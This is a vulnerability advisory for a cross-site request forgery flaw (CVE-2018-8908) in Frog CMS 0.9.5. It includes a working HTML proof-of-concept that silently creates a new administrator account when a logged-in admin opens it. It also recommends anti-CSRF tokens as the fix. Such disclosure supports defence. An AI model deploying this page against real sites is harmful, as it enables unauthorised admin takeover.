Frog CMS version 0.9.5 suffers from a cross site request forgery vulnerability.
de887657ffddfe13ff2711bcdfd0a752e08c6fc7fb4d7096eb0a29acc662fcc2# Exploit Title:aa Cross Site Request Forgery- Frog CMS
# Date: 31-03-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# CVE : CVE-2018-8908
# Category: Webapp CMS
1. Description
The application source code is coded in a way which allows malicious HTML
request to be executed without veryifying source of request.This leads to
arbitary execution with malicous request which will lead to the creation of
a privileged user.
2. Proof of Concept
Visit the application
Visit the Add Users Page.
Craft an html page with all the details for an admin user creation
and host it on a server
Upon the link being clicked by a logged in admin user, immidiately,
another admin user will get created.
Exploit Code:
<html>
<body>
<form action="http://localhost/frog/admin/?/user/add" method="POST">
<input type="hidden" name="user[name]" value="Test_1" />
<input type="hidden" name="user[email]" value="" />
<input type="hidden" name="user[username]" value="test" />
<input type="hidden" name="user[password]" value="test" />
<input type="hidden" name="user[confirm]" value="test" />
<input type="hidden"
name="user_permission[administrator]" value="1" />
<input type="hidden" name="commit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Solution:
Solution - Fix & Patch: The application code should be configured to
implement anti csrf token to filter malicous HTTP Requests.
4. Public Reference with POC and steps:
http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html
Thanks and Regards
Samrat
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